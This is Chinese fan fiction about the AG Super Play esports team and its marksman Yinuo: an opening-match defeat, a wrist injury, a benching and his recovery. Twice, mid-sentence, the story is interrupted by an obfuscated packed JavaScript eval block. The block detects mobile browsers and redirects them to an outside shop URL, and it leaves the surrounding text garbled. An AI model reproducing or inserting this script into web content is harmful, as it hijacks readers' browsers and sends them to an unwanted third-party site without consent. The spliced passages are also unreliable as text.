手机震动,是班级微信群。班主任@全体成员:“下周开始晚自习延长到九点半,备战一模。” 林晓晓放下手机,看向窗外。上海的雨比成都还大,雨点密集地打在玻璃上,发出噼里啪啦的声响。 高二下学期,还有一年就高考了。 同桌发来消息:“晓晓,今天AG训练赛你看了吗?据说状态不好。” 林晓晓回复:“没看,在写作业。” “骗人,你肯定在刷微博。” 被戳穿了。林晓晓发了个表情包。 “其实……”同桌又发来一条,“我觉得一诺转型打野是好事。版本变了,他不能总抱着射手打。总要尝试新东西。” “但他打野好像不太行。” “总要有个过程嘛。他是天才,肯定能练出来的。” 天才。 这个词现在听起来有点刺耳。 林晓晓想起三个月前,总决赛那个晚上。她在宿舍用流量偷偷看直播,看到公孙离一推四的时候,她直接从床上跳了起来,把舍友都吵醒了。 那时的她,相信一诺是无敌的。 但现在…… 她打开B站,搜索“一诺打野”。跳出来几个视频,标题都很扎眼:“【下饭操作】一诺裴擒虎训练赛集锦”、“转型阵痛期?一诺打野节奏全无”。 她没点进去。 而是点开了收藏夹里的那个视频:“【公孙离天花板】一诺极限操作集锦”。 七分钟的视频,她看了无数遍,但每一次看,还是会心跳加速。 尤其是最后那个镜头——公孙离在人群中跳舞,枫叶飞舞,四杀到手。 那时的他,眼里有光。 现在的他呢? 林晓晓不知道。 她关掉视频,打开习题册。还有三道数学大题没做,明天要交。 窗外,雨还在下。 --- 一周后,KPL春季赛揭幕战,AG超玩会 vs LGD大鹅。 成都主场,能容纳三千人的场馆座无虚席。虽然疫情原因限制了上座率,但粉丝的热情丝毫不减。AG的蓝色应援灯连成一片星海,偶尔能看到“一诺加油”的手幅在人群中晃动。 徐必成坐在选手席上,调试设备。 手腕的疼痛比前几天更明显了。他早上贴了新的膏药,但效果有限。队医建议他休息,但他拒绝了。 揭幕战,他必须上。 “紧张吗?”老帅坐在旁边,轻声问。 “有点。”徐必成实话实说。 “正常。”老帅推了推眼镜,“我也紧张。” 徐必成看向老帅。这位队长永远是队伍里最沉稳的人,无论顺境逆境,表情都不会有太大变化。但今天,徐必成能看到他额角细密的汗珠。 AG的冠军阵容,春季赛第一场。 压力山大。 “记住训练赛说的。”月光在身后叮嘱,“一诺,节奏,节奏,节奏。别想着Carry,想着带节奏。” “明白。” BP开始。 LGD蓝色方,第一轮禁用了裴擒虎和镜——明显针对一诺的打野英雄池。AG则按掉了鲁班大师和盾山。 LGD一楼抢下公孙离。 徐必成的手指紧了紧。 刺痛转会LGD后,公孙离依然是他的招牌。而今天,刺痛要用公孙离,对阵转型打野的一诺。 一种微妙的宿命感。 “我们拿什么?”月光问。 徐必成看着屏幕。外面可用的打野还有赵云、兰陵王、橘右京…… “赵云吧。”他说,“稳一点。” 锁定赵云。 阵容确定: AG:赵云(一诺)、沈梦溪(老帅)、吕布(六点六)、孙膑(爱思)、马超(七年) LGD:公孙离(刺痛)、张良(一梦)、猪八戒(君诏)、太乙真人(清凡)、橘右京(晨阳) 加载界面,徐必成深呼吸。 比赛开始。 开局,徐必成的赵云蓝开。他刻意加快了刷野速度,想要抢四抓边。但晨阳的橘右京显然研究过他——直接反红,打乱他的节奏。 “红没了。”七年提醒。 “知道了。”徐必成冷静下来,调整路线。刷完蓝区,他升到四级,直接抓下。 但刺痛的反应快得惊人。公孙离净化解掉赵云的击飞,反手输出。太乙真人跟上控制,赵云瞬间残血。 “撤!”徐必成交出闪现,逃回塔下。 第一波Gank,失败。 节奏开始偏向LGD。橘右京频繁入侵野区,赵云的发育严重受限。六分钟,经济差拉到两千。 “开波团吧。”爱思说,“再拖下去更难打。” “好,我找机会。”六点六的吕布在侧翼寻找进场角度。 中路河道,双方遭遇。爱思的孙膑大招沉默到三人,六点六的吕布跳大进场。 机会! 徐必成的赵云从草丛杀出,大招“天翔之龙”砸向LGD后排—— 但空了。 刺痛公孙离极限二技能躲开,反手输出。张良大招按住吕布,橘右京跟上伤害。 六点六的吕布第一个倒下。 “退!”老帅喊道。 AG溃败,被打出0换3,丢掉中路一塔和暴君。 经济差扩大到五千。 徐必成盯着灰色的屏幕,手指冰凉。 他刚才那波大招,如果命中公孙离,团战结果可能完全不一样。但他犹豫了——在按大招的瞬间,他想到的是“万一没中怎么办”,而不是“中了就能赢”。 就是这零点几秒的犹豫,让大招放空了。 “我的。”他说。 没人说话。 接下来的比赛成了LGD的碾压局。刺痛公孙离的经济领先全场,团战无解输出。AG虽然顽强抵抗,但经济差太大,无力回天。 二十二分钟,AG水晶爆炸。 比分:0:1。 中场休息,休息室里气氛凝重。 月光在白板上快速画着下一局的战术:“他们肯定还会放公孙离,我们要不要以选代Ban?” “给我。”徐必成忽然说。 所有人都看向他。 “给我公孙离。”徐必成抬起头,“我打射手。” 月光皱眉:“但版本……” “我知道版本对射手不友好。”徐必成打断他,“但我熟悉这个英雄,我能C。” 老帅和六点六对视一眼。 “让他试试吧。”老帅说,“第一局打野效果不好,换回射手调整一下心态。” 月光盯着徐必成看了几秒,最后点头:“好。第二局,一诺打射手。” --- 第二局,AG蓝色方。 LGD果然放出了公孙离。AG一楼秒锁。 当公孙离的头像亮起时,全场爆发出巨大的欢呼。直播弹幕瞬间爆炸: “来了!公孙离!” “一诺的本命!” “早该拿射手了!” 徐必成活动了一下手指,眼神变得专注。 这是他的领域。 比赛开始。 对线期,徐必成的公孙离展现了绝对的压制力。补刀全收,换血占优,三分钟就压了刺痛的马可波罗五百经济。 “这才是熟悉的一诺!”解说李九激动地说。 但版本毕竟变了。射手前期优势,但中后期团战生存环境极其恶劣。LGD显然也明白这一点,他们不跟AG接正面团,而是利用猪八戒和橘右京的单带能力牵制。 十三分钟,AG虽然经济领先,但始终推不掉高地。 “必须开一波好团。”老帅说。 “我找机会。”爱思的太乙真人开始游走。 但LGD的防守滴水不漏。每次AG想要开团,都会被拉扯开。比赛拖到二十分钟,进入风暴龙王团。 决定胜负的一波。 双方在龙坑僵持。徐必成的公孙离在侧翼寻找输出位置,但晨阳的橘右京始终盯着他。 “我开了!”爱思闪现开团,太乙真人一技能炸到三人! 六点六的关羽绕后进场,大招推回两人! 完美开团! 徐必成的公孙离立刻进场输出。一技能位移,大招推伞,二技能旋转——熟悉的连招,熟悉的操作。 但这一次,少了点什么。 伤害。 版本削弱后的公孙离,即使经济领先,打在前排身上还是不痛不痒。而LGD的后排,刺痛的马可波罗已经转出了完美大招。 “Double Kill!” 马可波罗拿下双杀。 AG阵型溃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028842|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散,徐必成的公孙离想要撤退,但被橘右京黏住。 “You have been slained.” 屏幕再次灰掉。 风暴龙王被LGD拿下,带着龙兵一波推平水晶。 0:2。 AG被零封。 揭幕战,惨败。 --- 赛后采访,徐必成没有去。 他坐在休息室里,盯着手机屏幕。微博热搜前五,AG占了三个:#AG揭幕战被零封#、#一诺状态#、#冠军魔咒#。 点开第一个词条,评论不堪入目: “这就是冠军?笑死” “一诺真的菜,打野不行射手也不行” “退役吧,别耽误AG了” “还天才呢,版本一变就原形毕露” 他一条条翻过去,手指冰凉。 手腕的疼痛突然加剧,像有针在扎。他放下手机,用左手握住右手手腕,用力按压。 没用。 疼。 “一诺。” 月光推门进来。 徐必成抬头,想站起来,但月光摆摆手:“坐着吧。” 月光在他对面坐下,沉默了一会儿,说:“今天是我的问题。不该让你在揭幕战转型打野,也不该在第二局让你拿射手。” “不,是我的问题。”徐必成说,“我打野节奏不好,射手也carry不起来。” “版本问题,队伍问题,我的问题,你的问题——都有。”月光叹了口气,“但现在不是分锅的时候。春季赛才刚开始,我们还有时间调整。” 徐必成没说话。 “你手腕怎么样?”月光忽然问。 徐必成心里一紧:“……还好。” “别骗我。”月光盯着他,“队医跟我说了,你手腕劳损严重,建议休息两周。” “我不能休息。” “为什么?” “因为……”徐必成握紧拳头,“因为我是冠军,我是AG的核心,我不能在队伍需要我的时候退缩。” 月光看了他很久,最后说:“徐必成,你知道冠军最重要的是什么吗?” “实力?” “不,是健康。”月光站起来,“一个健康的冠军,可以打很多年。一个带伤的冠军,可能打完这个赛季就没了。你自己想想。” 说完,他离开了休息室。 徐必成一个人坐在那里。 窗外传来观众散场的声音,隐约能听到有人在喊“AG加油”,也有人在喊“一诺加油”。声音混杂在一起,分不清是鼓励还是讽刺。 手机又震动了。 是妈妈发来的微信:“儿子,妈妈看了比赛。没关系,下次赢回来。注意身体,别太累。” 简单的几句话,徐必成的眼睛突然酸了。 他打字回复:“妈,我没事。” 发送。 然后他打开另一个聊天窗口,是Cat。 Cat上周转会去了Estar,走之前跟他吃了顿饭,说:“以后就不是队友了,但有事还是可以找我。” 徐必成犹豫了很久,输入:“Cat哥,今天输了。” 发送。 几乎是立刻,Cat回复了:“看了。转型期很正常,别急。” “我手腕疼。” 这次,Cat过了几分钟才回:“严重吗?” “队医建议休息两周。” “那就休息。” “但我不能休息,队伍需要我。” 对话框显示“对方正在输入……”,持续了很久。最后,Cat发来一段话: “徐必成,听好了。你现在不是新人了,是冠军,是队伍的招牌。你的责任不是每一场都上,而是让自己的职业生涯足够长,长到能拿更多的冠军。带伤硬撑,是最蠢的做法。休息两周,好好治疗。等你回来,版本可能又变了,到时候说不定射手又行了。电竞是长跑,不是百米冲刺。” 徐必成盯着这段话,看了三遍。 然后他回复:“知道了。” “好好休息。等你回来。” 关掉手机,徐必成靠在椅子上,闭上眼睛。 手腕还在疼。 但心里,好像轻松了一点。 --- 第二天,AG官博发布公告: “经俱乐部与医疗团队评估,选手一诺(徐必成)因手腕伤势需休养两周,期间将缺席部分比赛。感谢粉丝关心,我们会全力配合治疗,争取早日回归。” 公告一出,舆论哗然。 有人理解:“伤病是运动员最大的敌人,好好休息。” 有人阴谋论:“输了就装病?躲舆论?” 有人担心:“两周后回来,版本又变了,还能跟上吗?” 徐必成没有看这些评论。 他收拾了简单的行李,在队医的陪同下去了成都体育医院。检查,理疗,针灸。医生是个五十多岁的中年人,说话很温和:“小伙子,你这手腕是长期劳损导致的肌腱炎。如果不彻底治疗,以后会越来越严重,甚至可能影响正常生活。” “会影响打比赛吗?”徐必成问。 “治疗好了就不会。但你要改变训练习惯,不能长时间高强度操作,要定期理疗放松。” 徐必成点头。 理疗室很安静,只有仪器运转的轻微声响。他躺在治疗床上,看着天花板。手腕上贴着电极片,有微弱的电流刺激感。 这段时间,他终于可以暂时逃离赛场,逃离舆论,逃离那些期待和压力。 手机震动。 是林晓晓发来的私信——自从总决赛后,她偶尔会给他发消息,有时候是鼓励,有时候是分享生活。徐必成很少回复,但每一条都会看。 “看到公告了,好好休息。伤病是比赛的一部分,但健康是自己的。等你回来。” 徐必成想了想,回复:“谢谢。” 几乎是立刻,对方回复了:“你回我了!好好治疗,我们会一直等的。” 徐必成看着那句话,嘴角微微扬起。 总会有人,无论输赢,无论状态好坏,都在那里。 这就够了。 两周的休养期,徐必成没有完全离开游戏。他看比赛,研究版本,和队友讨论战术。但每天的训练时间严格控制,到点就休息。 手腕的疼痛渐渐缓解。 两周后,他回到训练室。 版本果然又变了——射手小幅增强,野核依然是主流,但不再是唯一选择。 “欢迎回来。”月光拍拍他肩膀,“感觉怎么样?” “好多了。”徐必成活动了一下手腕,“教练,我想好了。” “想好什么?” “我不转打野了。”徐必成说,“我就打射手。版本对射手不友好,那我就用操作弥补。野核体系我们可以练,但我还是队伍的射手核心。” 月光盯着他看了几秒,笑了:“这才像你。” 当晚训练赛,徐必成重回发育路。虽然版本依然艰难,但他打得异常坚决。该凶的时候凶,该稳的时候稳,该carry的时候绝不手软。 训练赛2:1赢下对手。 结束后,老帅说:“回来了?” “嗯,回来了。”徐必成点头。 不是状态回来了,是那个敢打敢拼、相信自己操作的徐必成回来了。 晚上,他打开直播——休养期后的第一次直播。开播瞬间,弹幕疯狂滚动: “诺队回来了!” “手腕好了吗?” “加油啊!” 徐必成调整了一下摄像头,说:“手腕好多了,谢谢大家关心。春季赛才刚开始,我们会调整过来的。” 弹幕有人问:“还会转型打野吗?” 徐必成看着那条弹幕,笑了笑:“暂时不会了。我还是更适合射手。但版本需要的话,我也可以练。总之,赢比赛最重要。” 直播结束后,他收到Cat的消息:“看到你直播了,状态不错。” “谢谢Cat哥。” “记住,冠军不是负担,是底气。你拿过冠军,证明过自己。现在要做的,不是证明自己还是冠军,而是打好每一场比赛。慢慢来。” “明白。” 关掉手机,徐必成走到窗边。 窗外,成都的夜色温柔。远处的霓虹闪烁,街道上车流如织。这座城市在慢慢接纳他,就像他也在慢慢接纳自己的不完美。 冠军是光环,也是枷锁。 但他现在明白了——戴上王冠,不是为了被它压垮,而是为了配得上它的重量。 路还长。 而他才刚上路。 【第四章·完】 5. 长夜的回声 2020年5月,成都AG超玩会基地 凌晨两点,训练室里只剩下键盘敲击声。 徐必成盯着屏幕,手指在手机屏幕上飞快滑动。这已经是今晚第七局巅峰赛了,他用的依然是公孙离——这个赛季被版本抛弃的英雄,出场率跌到历史最低,胜率不足45%。 但他还在练。 “还不睡?” 身后传来声音。徐必成回头,看到七年倚在门口,手里拿着两罐冰可乐。七年是春季赛中期加入AG的新人边路,操作犀利,性格也直接。 “再打两把。”徐必成接过可乐,拉开拉环,气泡涌出的声音在寂静的训练室里格外清晰。 “练公孙离?”七年走过来,看向屏幕,“这版本还能用?” “总得试试。”徐必成喝了一口可乐,冰凉的液体刺激着喉咙,“万一季后赛需要呢。” 屏幕上的公孙离正在下路对线马可波罗。对手明显是绝活哥,走位刁钻,技能释放精准。徐必成全神贯注,每一次换血都计算到极致,终于在四级时抓住马可一技能清兵的僵直,完成单杀。 “可以啊。”七年挑眉,“这操作,放比赛里绝对上集锦。” 徐必成没说话。他知道,比赛和巅峰赛是两回事。比赛中,对手不会给他这种单杀机会,队友也不会让他无压力发育。版本对射手的恶意是全方位的:防御装加强,刺客装备增强,中单工具人盛行——射手从输出核心变成了团战祭品。 春季赛常规赛已经过半,AG的战绩是7胜5负,排在联盟中游。揭幕战惨败后,他们经历了艰难调整期。一诺休养两周复出,虽然手腕伤势好转,但版本困境依然存在。 射手不能C,那就打野核。 于是AG开始尝试双核甚至三核体系。一诺拿射手时,七年拿战边带线,老帅拿法刺切后。一诺拿野核时,七年或六点六拿射手抗压。阵容变来变去,战绩起起伏伏。 粉丝群里已经吵翻了天: “月光到底有没有战术体系?” “一诺还是打射手吧,打野真不行” “七年凭什么分一诺的经济?” “老帅状态下滑太严重了” 徐必成很少看这些评论了。不是不想看,是不敢看。每次看到那些质疑和争吵,手腕就会隐隐作痛,像是身体在用这种方式提醒他:你还没好,你还在挣扎。 “对了。”七年忽然说,“明天训练赛,二队那几个小孩要跟我们打。” “二队?”徐必成想起基地楼下那间训练室,里面坐着五个青训生,最大的不过十八岁。 “嗯,说是月光想考察新人。”七年顿了顿,“听说里面有几个人挺猛的,尤其是中单,ID叫长生,打法很凶。” 徐必成点头,没太在意。AG的青训体系一直很强,每年都会冒出几个天才少年。但天才和职业之间,隔着无数个日夜的训练和无数场高压比赛。 他关掉巅峰赛,打开训练营。不是练英雄,而是练习走位——在各种技能组合中寻找生存空间,这是这个版本射手的必修课。 “我回去睡了。”七年打了个哈欠,“你也早点。” “嗯。” 训练室又只剩他一个人。 窗外夜色深沉,成都的初夏已经能听到隐约的蝉鸣。徐必成站起来活动了一下肩膀,走到窗边。 楼下,基地大门还亮着灯。保安坐在门卫室里打盹,偶尔有外卖小哥骑车驶过。这座电竞基地像一座孤岛,与外界隔绝,里面的人日复一日地训练、比赛、复盘,为了一个遥远的目标。 手机震动。 是Cat发来的消息:“睡了没?” “没,在训练。” “又练到这么晚?”Cat发了个叹气的表情,“注意手腕。” “知道。Cat哥,你们明天打TS吧?” “嗯,硬仗。” Cat转会Estar后,成了队伍的核心指挥。Estar这个赛季状态火热,目前排在联盟第二。徐必成偶尔会看他们的比赛,Cat的辅助开团果断,指挥清晰,完全看不出是转型选手。 “你们季后赛应该稳了。”徐必成说。 “你们呢?” “还在挣扎。” 对话框显示“对方正在输入……”,持续了很久。最后Cat只发了一句话:“别急,慢慢来。” 徐必成盯着那句话,心里某个地方被轻轻戳了一下。 别急。 所有人都跟他说别急——教练、队友、家人、粉丝。 但他怎么可能不急? 他是冠军,是AG的招牌,是这个队伍的灵魂。队伍成绩不好,他比谁都难受。 关掉手机,徐必成回到座位上。他没有继续训练,而是打开了一个文件夹。 里面存着AG夺冠以来的所有比赛录像。 他点开春季赛揭幕战,快进到第二局自己拿公孙离被翻盘的那波团战。画面暂停在公孙离进场输出的瞬间,他的站位、技能释放、走位轨迹——每一个细节都被放大了看。 “这里。”他自言自语,“如果二技能晚零点三秒放,就能挡掉橘右京的一技能。” “这里,如果一技能往左位移,就能躲开张良的大招范围。” “这里……” 他打开笔记本,密密麻麻写满一页。然后关掉录像,打开下一场。 就这样,一场接一场,一直看到凌晨四点。 窗外的天色开始泛白。 --- 第二天下午,训练赛。 徐必成走进训练室时,二队的五个人已经到了。他们坐在靠窗的一排电脑前,穿着统一的青训队服,表情拘谨中透着兴奋。 月光拍拍手:“今天跟二队打三局,让他们学习一下。一诺,老帅,六点六,爱思,七年,你们五个打。二队阵容:长生中单,大帅辅助,钟意打野,轩染边路,还有个射手叫星痕。” 徐必成扫了一眼那五个人。 中单长生——瘦高的男孩,戴着一副黑框眼镜,看起来斯斯文文,但眼神里有一种锐利的光。 辅助大帅——娃娃脸,笑起来有酒窝,看起来很亲和。 打野钟意——个子不高,但坐姿笔直,手指细长。 边路轩染——看起来很沉稳,正在调试设备。 射手星痕——最年轻的一个,满脸稚气。 “准备好了就开始。”月光说。 双方进入房间。 第一局,AG拿的是常规的射核体系:徐必成孙尚香,老帅张良,六点六猪八戒,爱思太乙真人,七年马超。 二队拿的却是极其凶悍的进攻阵容:长生不知火舞,大帅鬼谷子,钟意裴擒虎,轩染关羽,星痕马可波罗。 “他们想打前期。”老帅推了推眼镜,“我们稳住发育。” 但二队显然不打算给AG发育的机会。 开局,钟意的裴擒虎直接反蓝,配合大帅的鬼谷子,在AG野区横冲直撞。七年马超想要支援,但被轩染的关羽死死缠住。 一分半钟,AG蓝区失守。 两分钟暴君团,大帅的鬼谷子闪现拉中三人,长生的不知火舞一套连招秒掉老帅张良。 “First Blood!” 节奏完全被二队掌控。 徐必成的孙尚香在发育路艰难补刀,但星痕的马可波罗异常激进,不断用一技能消耗。更要命的是,钟意的裴擒虎已经盯上他了。 “孙尚香没闪。”老帅提醒。 “我知道。”徐必成冷静地后撤,但钟意的裴擒虎已经绕后。 二技能减速,一技能扑上来—— 徐必成极限净化秒解,反手二技能接翻滚拉开距离。但轩染的关羽从侧面杀出,一刀劈下。 “You have been slained.” 屏幕灰掉。 “我的。”徐必成说,“关羽位置没注意。” 接下来的比赛成了二队的表演秀。长生的不知火舞进场时机精准,大帅的鬼谷子开团果断,钟意的裴擒虎节奏完美,轩染的关羽无处不在,星痕的马可波罗输出拉满。 十五分钟,AG水晶爆炸。 训练赛结束,二队胜。 训练室里一片寂静。 二队的五个少年你看看我,我看看你,脸上有兴奋,但更多的是紧张——他们赢了,但赢得太轻松了,反而让人不安。 月光抱着手臂,面无表情。 老帅摘下眼镜,擦了擦镜片。六点六揉了揉太阳穴。爱思叹了口气。七年盯着屏幕,眼神复杂。 徐必成看着数据面板:输出18%,承伤25%,参团率55%。作为一个射手,这个数据是灾难级的。 “复盘。”月光的声音打破了沉默。 所有人都移动到会议桌。月光打开投影,播放第一波野区团战。 “这里。”激光笔指着屏幕,“七年,你为什么不在这个时间点支援野区?” 七年抿了抿嘴唇:“我以为能守住……” “你以为?”月光提高音量,“比赛里没有‘你以为’,只有事实。事实就是,你不支援,野区炸了,节奏没了。” 七年低下头。 “再看这里。”月光快进到中路团战,“老帅,你的张良大招为什么给关羽不给裴擒虎?” “关羽在切一诺……” “关羽切一诺,一诺有净化有闪现,死不了。但裴擒虎不死,他们就能一直入侵野区。”月光摇头,“你的判断出了问题。” 老帅没说话,只是推了推眼镜。 “还有一诺。”月光看向徐必成。 徐必成挺直脊背。 “你的问题不是操作,是心态。”月光盯着他,“你太想carry了,太想证明射手还能玩。但版本不允许,你就应该改变打法——让经济,当工具人,保队友发育。而不是像刚才那样,明明经济落后还想着输出。” 句句诛心。 徐必成握紧拳头,指甲嵌进掌心。 “今天的训练赛就到这里。”月光合上笔记本,“一队留下,二队回去训练。” 二队的五个少年如释重负,快步离开。长生走到门口时回头看了一眼,正好和徐必成的目光对上。那眼神里没有得意,没有嘲讽,而是一种……探究? 训练室里只剩下五个人。 “说说吧,什么感觉?”月光问。 没人说话。 “那我来说。”月光站起来,在白板上写字,“版本、状态、配合、心态——我们现在问题很多,但最大的问题是,我们还在用夺冠时的思维打比赛。” 他转过身,看着五个人:“2019年秋季赛,我们是冠军,我们的射核体系无敌。但现在,版本变了,对手进步了,我们却还在原地踏步。这样下去,季后赛一轮游都是奢望。” 残酷,但真实。 “那怎么办?”六点六问。 “改变。”月光在白板上重重写下这两个字,“从思维到打法,彻底改变。射手不能C,就当工具人。打野不能带节奏,就换人打野。中路不能carry,就当工具人。边路……” 他看向七年:“你要承担更多carry责任。” 七年点头。 “至于一诺。”月光看向徐必成,“你需要休息。” 徐必成猛地抬头:“教练……” “不是让你休赛,是让你调整心态。”月光打断他,“接下来的两周,你打替补。” 如同晴天霹雳。 徐必成脑子里一片空白。打替补?他?AG的核心,冠军射手,要打替补? “教练,这……” “这是为了你好,也是为了队伍好。”月光的声音不容置疑,“你现在的状态,上场就是送。与其在场上挣扎,不如在场下调整。看别人怎么打,看版本怎么变,想明白自己该怎么打。” 徐必成想说点什么,但喉咙像是被堵住了,一个字也说不出来。 老帅拍了拍他肩膀,眼神里是理解,也是无奈。 “就这样,散会。”月光说完,转身离开。 训练室里,死一般的寂静。 良久,爱思叹了口气:“我先回去了。” 六点六和七年也相继离开。 最后只剩下徐必成和老帅。 “很难受吧?”老帅问。 徐必成点头。 “我也打过替补。”老帅说,“2018年,我转会到AG,打了半个赛季替补。那时候我也很难受,觉得自己被抛弃了,觉得自己不行了。但后来我想明白了——打替补不是惩罚,是机会。是让你从另一个角度审视自己,审视比赛的机会。” 徐必成没说话。 “你还年轻,路还长。”老帅站起来,“一时的低谷,是为了更高的山峰。” 说完,他也离开了。 徐必成一个人坐在那里,看着空荡荡的训练室。 窗外的阳光很好,透过玻璃洒在地板上,形成明亮的光斑。但他只觉得冷。 替补。 这两个字像一根刺,扎在心上。 --- 当晚,徐必成没有训练。 他躺在床上,睁着眼睛看着天花板。手机在旁边,屏幕亮着,显示着微博界面。 热搜第8位:#AG训练赛输给二队# 评论已经炸了: “一队输二队?AG完了” “一诺状态真差,该替补了” “月光下课!” “想念Cat在的时候” 他一条条翻过去,手指冰凉。 最后,他关掉微博,打开相册。 里面有一张照片,是去年夺冠后拍的。五个人举着银龙杯,笑得灿烂。那时的他们,眼里有光,心中有火。 而现在呢? 老帅状态下滑,六点六伤病缠身,爱思指挥混乱,七年还在适应,而他——徐必成,曾经的冠军射手,现在要打替补。 手机震动。 是林晓晓发来的私信:“今天训练赛……你别太在意。版本对射手不友好,不是你的问题。好好调整,等你回来。” 徐必成盯着那句话,眼眶突然发热。 他打字回复:“如果我回不来了呢?” 发送。 几乎是立刻,对方回复:“不会的。我相信你。” 简单的五个字,却像有千钧重量。 徐必成看着那五个字,看了很久。 然后他关掉手机,闭上眼睛。 --- 接下来的两周,徐必成真的打了替补。 AG的首发阵容变成了七年射手,老帅中单,六点六边路,爱思辅助,新人打野汤汤。 第一场比赛,AG对阵WE。 徐必成坐在替补席,穿着队服,但没有戴耳机。他能听到场上的交流,能看到屏幕上的战况,但这一切都与他无关。 那种感觉很奇怪——像是被隔绝在世界之外。 比赛打得很焦灼。七年虽然操作不错,但毕竟不是专业射手,对线期经常被压。汤汤的打野节奏也一般,AG整场比赛都被动。 最终,AG 1:3 输给WE。 赛后采访,记者问月光:“为什么让一诺替补?” 月光回答:“状态调整。一诺是我们重要的队员,但现阶段,我们需要做出对队伍最有利的选择。” 标准的官方回答。 徐必成在后台听着,心里像被针扎一样。 第二场,AG对阵TES。 这一场AG赢了,2:1。七年拿了一局MVP,赛后采访时笑得像个孩子。 徐必成为队友高兴,但心里某个地方空落落的。 那本该是他的位置,本该是他的荣耀。 训练时,他依然全力以赴。但训练赛他只能打二队,和长生、大帅、钟意、轩染他们一起。 二队的五个少年对他很尊重,但那种尊重里带着距离感。他们知道,眼前这个人是冠军,是前辈,但现在和他们一样打替补。 只有长生不一样。 这个中单少年话不多,但每次训练赛结束,都会主动找徐必成讨论:“诺哥,刚才那波我如果晚两秒进场,是不是更好?” “诺哥,这个版本中单怎么配合射手?” “诺哥……” 徐必成一开始只是敷衍回答,但渐渐地,他发现长生是真的在思考,在进步。这个少年的操作或许还不是最顶尖的,但他的游戏理解已经超越了很多职业选手。 “你为什么想打职业?”有一次训练后,徐必成问长生。 长生推了推眼镜:“因为喜欢。喜欢操作的感觉,喜欢赢的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028843|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。” “但如果一直输呢?” “那就一直练,直到赢为止。”长生说得很自然,仿佛这是天经地义的事。 徐必成愣住了。 这个回答,像一面镜子,照出了他现在的样子——患得患失,畏惧失败,被舆论和期待压得喘不过气。 而长生,这个还没打过正式比赛的青训生,却有着最纯粹的竞技心。 “诺哥。”长生忽然说,“我看过你所有的比赛。” “嗯?” “你打射手的时候,眼睛里有一种光。”长生顿了顿,“那种‘我一定要赢’的光。但现在,那种光好像……淡了。” 徐必成心脏猛地一跳。 “版本会变,状态会起伏,队友会换。”长生看着自己的手,“但那种想赢的心,不应该变。对吧?” 徐必成沉默了很久,最后点头:“对。” 那晚,他回到宿舍,打开电脑。 不是训练,不是复盘,而是打开了去年秋季赛的录像——不是总决赛,不是高光集锦,而是常规赛那些普通的比赛。 那些比赛中,他也输过,也失误过,也被人质疑过。 但那时候的他,输就输了,下一场继续拼。失误就失误了,下次改正。质疑就质疑了,用比赛回应。 简单,直接,纯粹。 从什么时候开始,他变得这么复杂了? 从夺冠开始?从被捧上神坛开始?从转型打野失败开始?从手腕受伤开始? 也许都是,也许都不是。 但重要的是,现在,他要找回那个简单的自己。 --- 两周后,季后赛名额争夺战,AG对阵RNG.M。 这场比赛决定AG能否进入季后赛。如果输了,AG将创造冠军战队第二年无缘季后赛的尴尬纪录。 赛前,月光找到徐必成。 “感觉怎么样?” “好多了。”徐必成说。 不是客套,是真的好多了。这两周,他放下了“冠军射手”的包袱,放下了“必须carry”的执念,只是单纯地训练,思考,学习。 “今天你上。”月光说,“打射手。” 徐必成抬起头,眼神明亮:“好。” “但有个条件。”月光盯着他,“今天,你不是核心,是工具人。让经济,保队友,团战活着就行。能做到吗?” 徐必成深吸一口气:“能。” --- 比赛现场,成都主场。 当大屏幕上出现首发名单,一诺的名字赫然在列时,全场爆发出巨大的欢呼。 徐必成走上舞台,坐在熟悉的位置上。戴上耳机,调试设备,一切如常。 但心态已经不一样了。 BP开始。 RNG.M蓝色方,第一轮禁用了孙尚香和马可波罗——针对一诺的英雄池。AG则按掉了鲁班大师和盾山。 RNG.M一楼抢下公孙离。 刺痛转会RNG.M后,公孙离依然是他的招牌。 徐必成看着那个头像,心里很平静。 “我们拿什么?”月光问。 徐必成想了想:“给我狄仁杰吧。” 狄仁杰,这个版本的工具人射手,有控制有解控,能抗压能输出,但carry能力一般。 锁定。 阵容确定: AG:狄仁杰(一诺)、沈梦溪(老帅)、猪八戒(六点六)、太乙真人(爱思)、橘右京(汤汤) RNG.M:公孙离(刺痛)、张良(暴风锐)、老夫子(雨雨)、张飞(Zero)、裴擒虎(虔诚) 加载界面,徐必成活动了一下手指。 比赛开始。 对线期,徐必成的狄仁杰稳稳发育。他不追求压制,不追求单杀,只是补刀,做视野,等队友。 刺痛显然不习惯这样的对线——他习惯了和一诺激烈换血,习惯了在刀尖上跳舞。但今天,一诺像一潭深水,平静无波。 “他变了。”刺痛在语音里说。 “别管他,我们打中野。”暴风锐回应。 但AG的中野也不是好惹的。老帅的沈梦溪频繁游走,汤汤的橘右京节奏完美。六分钟,AG拿下第一条暴君,经济领先一千。 “可以压塔了。”老帅说。 AG五人集结下路,准备越塔。徐必成的狄仁杰在后方输出,每次普攻都打在防御塔上,而不是人身上。 “他在点塔!”刺痛喊道。 但已经晚了。防御塔血量见底,AG拿下下一塔,转线中路。 节奏完全被AG掌控。 十二分钟,经济差扩大到三千。RNG.M想要开团,但徐必成的狄仁杰站位极其谨慎,始终在安全位置输出。 团战爆发。 